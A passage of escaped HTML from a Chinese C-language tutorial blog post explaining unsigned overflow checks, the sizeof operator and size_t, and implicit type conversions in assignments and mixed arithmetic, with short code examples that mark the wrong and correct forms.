的类型最大值,这个值总是大于等于\u003ccode\u003e0\u003c/code\u003e,导致无限循环。\u003c/p\u003e\u003cp\u003e为了避免溢出,最好方法就是将运算结果与类型的极限值进行比较。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ui;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (sum + ui \u0026gt; UINT_MAX) too_big();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e sum = sum + ui;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ui \u0026gt; UINT_MAX - sum) too_big();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e sum = sum + ui;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003esum\u003c/code\u003e和\u003ccode\u003eui\u003c/code\u003e都是 unsigned int 类型,它们相加的和还是 unsigned int 类型,这就有可能发生溢出。但是,不能通过相加的和是否超出了最大值\u003ccode\u003eUINT_MAX\u003c/code\u003e,来判断是否发生了溢出,因为\u003ccode\u003esum + ui\u003c/code\u003e总是返回溢出后的结果,不可能大于\u003ccode\u003eUINT_MAX\u003c/code\u003e。正确的比较方法是,判断\u003ccode\u003eUINT_MAX - sum\u003c/code\u003e与\u003ccode\u003eui\u003c/code\u003e之间的大小关系。\u003c/p\u003e\u003cp\u003e下面是另一种错误的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i - j \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;negative\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的运算结果,会输出\u003ccode\u003epositive\u003c/code\u003e。原因是变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e都是 unsigned int 类型,\u003ccode\u003ei - j\u003c/code\u003e的结果也是这个类型,最小值为\u003ccode\u003e0\u003c/code\u003e,不可能得到小于\u003ccode\u003e0\u003c/code\u003e的结果。正确的写法是写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (j \u0026gt; i) \u003cspan class=\"comment\"\u003e// ....\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"sizeof-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#sizeof-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"sizeof 运算符\"\u003e\u003c/a\u003esizeof 运算符\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esizeof\u003c/code\u003e是 C 语言提供的一个运算符,返回某种数据类型或某个值占用的字节数量。它的参数可以是数据类型的关键字,也可以是变量名或某个具体的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 参数为数据类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 参数为变量\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 参数为数值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.14\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的第一个示例,返回得到\u003ccode\u003eint\u003c/code\u003e类型占用的字节数量(通常是\u003ccode\u003e4\u003c/code\u003e或\u003ccode\u003e8\u003c/code\u003e)。第二个示例返回整数变量占用字节数量,结果与前一个示例完全一样。第三个示例返回浮点数\u003ccode\u003e3.14\u003c/code\u003e占用的字节数量,由于浮点数的字面量一律存储为 double 类型,所以会返回\u003ccode\u003e8\u003c/code\u003e,因为 double 类型占用的8个字节。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esizeof\u003c/code\u003e运算符的返回值,C 语言只规定是无符号整数,并没有规定具体的类型,而是留给系统自己去决定,\u003ccode\u003esizeof\u003c/code\u003e到底返回什么类型。不同的系统中,返回值的类型有可能是\u003ccode\u003eunsigned int\u003c/code\u003e,也有可能是\u003ccode\u003eunsigned long\u003c/code\u003e,甚至是\u003ccode\u003eunsigned long long\u003c/code\u003e,对应的\u003ccode\u003eprintf()\u003c/code\u003e占位符分别是\u003ccode\u003e%u\u003c/code\u003e、\u003ccode\u003e%lu\u003c/code\u003e和\u003ccode\u003e%llu\u003c/code\u003e。这样不利于程序的可移植性。\u003c/p\u003e\u003cp\u003eC 语言提供了一个解决方法,创造了一个类型别名\u003ccode\u003esize_t\u003c/code\u003e,用来统一表示\u003ccode\u003esizeof\u003c/code\u003e的返回值类型。该别名定义在\u003ccode\u003estddef.h\u003c/code\u003e头文件(引入\u003ccode\u003estdio.h\u003c/code\u003e时会自动引入)里面,对应当前系统的\u003ccode\u003esizeof\u003c/code\u003e的返回值类型,可能是\u003ccode\u003eunsigned int\u003c/code\u003e,也可能是\u003ccode\u003eunsigned long\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言还提供了一个常量\u003ccode\u003eSIZE_MAX\u003c/code\u003e,表示\u003ccode\u003esize_t\u003c/code\u003e可以表示的最大整数。所以,\u003ccode\u003esize_t\u003c/code\u003e能够表示的整数范围为\u003ccode\u003e[0, SIZE_MAX]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e有专门的占位符\u003ccode\u003e%zd\u003c/code\u003e或\u003ccode\u003e%zu\u003c/code\u003e,用来处理\u003ccode\u003esize_t\u003c/code\u003e类型的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zd\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,不管\u003ccode\u003esizeof\u003c/code\u003e返回值的类型是什么,\u003ccode\u003e%zd\u003c/code\u003e占位符(或\u003ccode\u003e%zu\u003c/code\u003e)都可以正确输出。\u003c/p\u003e\u003cp\u003e如果当前系统不支持\u003ccode\u003e%zd\u003c/code\u003e或\u003ccode\u003e%zu\u003c/code\u003e,可使用\u003ccode\u003e%u\u003c/code\u003e(unsigned int)或\u003ccode\u003e%lu\u003c/code\u003e(unsigned long int)代替。\u003c/p\u003e\u003ch3 id=\"类型的自动转换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%87%AA%E5%8A%A8%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"类型的自动转换\"\u003e\u003c/a\u003e类型的自动转换\u003c/h3\u003e\u003cp\u003e某些情况下,C 语言会自动转换某个值的类型。\u003c/p\u003e\u003ch4 id=\"赋值运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%B5%8B%E5%80%BC%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"赋值运算\"\u003e\u003c/a\u003e赋值运算\u003c/h4\u003e\u003cp\u003e赋值运算符会自动将右边的值,转成左边变量的类型。\u003c/p\u003e\u003cp\u003e(1)浮点数赋值给整数变量\u003c/p\u003e\u003cp\u003e浮点数赋予整数变量时,C 语言直接丢弃小数部分,而不是四舍五入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e是整数类型,赋给它的值是一个浮点数。编译器会自动把\u003ccode\u003e3.14\u003c/code\u003e先转为\u003ccode\u003eint\u003c/code\u003e类型,丢弃小数部分,再赋值给\u003ccode\u003ex\u003c/code\u003e,因此\u003ccode\u003ex\u003c/code\u003e的值是\u003ccode\u003e3\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种自动转换会导致部分数据的丢失(\u003ccode\u003e3.14\u003c/code\u003e丢失了小数部分),所以最好不要跨类型赋值,尽量保证变量与所要赋予的值是同一个类型。\u003c/p\u003e\u003cp\u003e注意,舍弃小数部分时,不是四舍五入,而是整个舍弃。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e12.99\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ex\u003c/code\u003e等于\u003ccode\u003e12\u003c/code\u003e,而不是四舍五入的\u003ccode\u003e13\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(2)整数赋值给浮点数变量\u003c/p\u003e\u003cp\u003e整数赋值给浮点数变量时,会自动转为浮点数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e y = \u003cspan class=\"number\"\u003e12\u003c/span\u003e * \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ey\u003c/code\u003e的值不是\u003ccode\u003e24\u003c/code\u003e,而是\u003ccode\u003e24.0\u003c/code\u003e,因为等号右边的整数自动转为了浮点数。\u003c/p\u003e\u003cp\u003e(3)窄类型赋值给宽类型\u003c/p\u003e\u003cp\u003e字节宽度较小的整数类型,赋值给字节宽度较大的整数变量时,会发生类型提升,即窄类型自动转为宽类型。\u003c/p\u003e\u003cp\u003e比如,\u003ccode\u003echar\u003c/code\u003e或\u003ccode\u003eshort\u003c/code\u003e类型赋值给\u003ccode\u003eint\u003c/code\u003e类型,会自动提升为\u003ccode\u003eint\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = x + y;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e的类型是\u003ccode\u003echar\u003c/code\u003e,由于赋值给\u003ccode\u003eint\u003c/code\u003e类型,所以会自动提升为\u003ccode\u003eint\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(4)宽类型赋值给窄类型\u003c/p\u003e\u003cp\u003e字节宽度较大的类型,赋值给字节宽度较小的变量时,会发生类型降级,自动转为后者的类型。这时可能会发生截值(truncation),系统会自动截去多余的二进制位,导致难以预料的结果。\u003c/p\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eint i = \u003cspan class=\"number\"\u003e321\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003echar ch = i; \u003cspan class=\"comment\"\u003e// ch 的值是 65 (321 - 256)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,变量\u003ccode\u003ech\u003c/code\u003e是\u003ccode\u003echar\u003c/code\u003e类型,宽度是8个二进制位。变量\u003ccode\u003ei\u003c/code\u003e是\u003ccode\u003eint\u003c/code\u003e类型,将\u003ccode\u003ei\u003c/code\u003e赋值给\u003ccode\u003ech\u003c/code\u003e,后者只能容纳\u003ccode\u003ei\u003c/code\u003e(二进制形式为\u003ccode\u003e101000001\u003c/code\u003e,共9位)的后八位,前面多出来的二进制位被丢弃,保留后八位就变成了\u003ccode\u003e01000001\u003c/code\u003e(十进制的65,相当于字符\u003ccode\u003eA\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e浮点数赋值给整数类型的值,也会发生截值,浮点数的小数部分会被截去。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e pi = \u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = pi; \u003cspan class=\"comment\"\u003e// i 的值为 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ei\u003c/code\u003e等于\u003ccode\u003e3\u003c/code\u003e,\u003ccode\u003epi\u003c/code\u003e的小数部分被截去了。\u003c/p\u003e\u003ch4 id=\"混合类型的运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B7%B7%E5%90%88%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"混合类型的运算\"\u003e\u003c/a\u003e混合类型的运算\u003c/h4\u003e\u003cp\u003e不同类型的值进行混合计算时,必须先转成同一个类型,才能进行计算。转换规则如下:\u003c/p\u003e\u003cp\u003e(1)整数与浮点数混合运算时,整数转为浮点数类型,与另一个运算数类型相同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e1.2\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 4.2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是\u003ccode\u003eint\u003c/code\u003e类型与\u003ccode\u003efloat\u003c/code\u003e类型的混合计算,\u003ccode\u003eint\u003c/code\u003e类型的\u003ccode\u003e3\u003c/code\u003e会先转成\u003ccode\u003efloat\u003c/code\u003e的\u003ccode\u003e3.0\u003c/code\u003e,再进行计算,得到\u003ccode\u003e4.2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(2)不同的浮点数类型混合运算时,宽度较小的类型转为宽度较大的类型,比如\u003ccode\u003efloat\u003c/code\u003e转为\u003ccode\u003edouble\u003c/code\u003e,\u003ccode\u003edouble\u003c/code\u003e转为\u003ccode\u003elong double\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(3)不同的整数类型混合运算时,宽度较小的类型会提升为宽度较大的类型。比如\u003ccode\u003eshort\u003c/code\u003e转为\u003ccode\u003eint\u003c/code\u003e,\u003ccode\u003eint\u003c/code\u003e转为\u003ccode\u003elong\u003c/code\u003e等,有时还会将带符号的类型\u003ccode\u003esigned\u003c/code\u003e转为无符号\u003ccode\u003eunsigned\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面例子的执行结果,可能会出人意料。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a = \u003cspan class=\"number\"\u003e-5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (a \u0026lt; \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e do_something();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ea\u003c/code\u003e是带符号整数,\u003ccode\u003esizeof(int)\u003c/code\u003e是\u003ccode\u003esize_t\u003c/code\u003e类型,这是一个无符号整数。按照规则,signed int 自动转为 unsigned int,所以\u003ccode\u003ea\u003c/code\u003e会自动转成无符号整数\u003ccode\u003e4294967291\u003c/code\u003e(转换规则是\u003ccode\u003e-5\u003c/code\u003e加上无符号整数的最大值,再加1),导致比较失败,\u003ccode\u003edo_something()\u003c/code\u003e不会执行。\u003c/p\u003e\u003cp\u003e所以,最好避免无符号整数与有符号整数的混合运算。因为这时 C 语言会自动将\u003ccode\u003esigned int\u003c/code\u003e转为\u003ccode\u003eunsigned int\u003c/code\u003e,可能不会得到预期的结果。\u003c/p\u003e\u003ch4 id=\"整数类型的运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B4%E6%95%B0%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"整数类型的运算\"\u003e\u003c/a\u003e整数类型的运算\u003c/h4\u003e\u003cp\u003e两个相同类型的整数运算时,或者单个整数的运算,一般来说,运算结果也属于同一类型。但是有一个例外,宽度小于\u003ccode\u003eint\u003c/code\u003e的类型,运算结果会自动提升为\u003ccode\u003eint\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 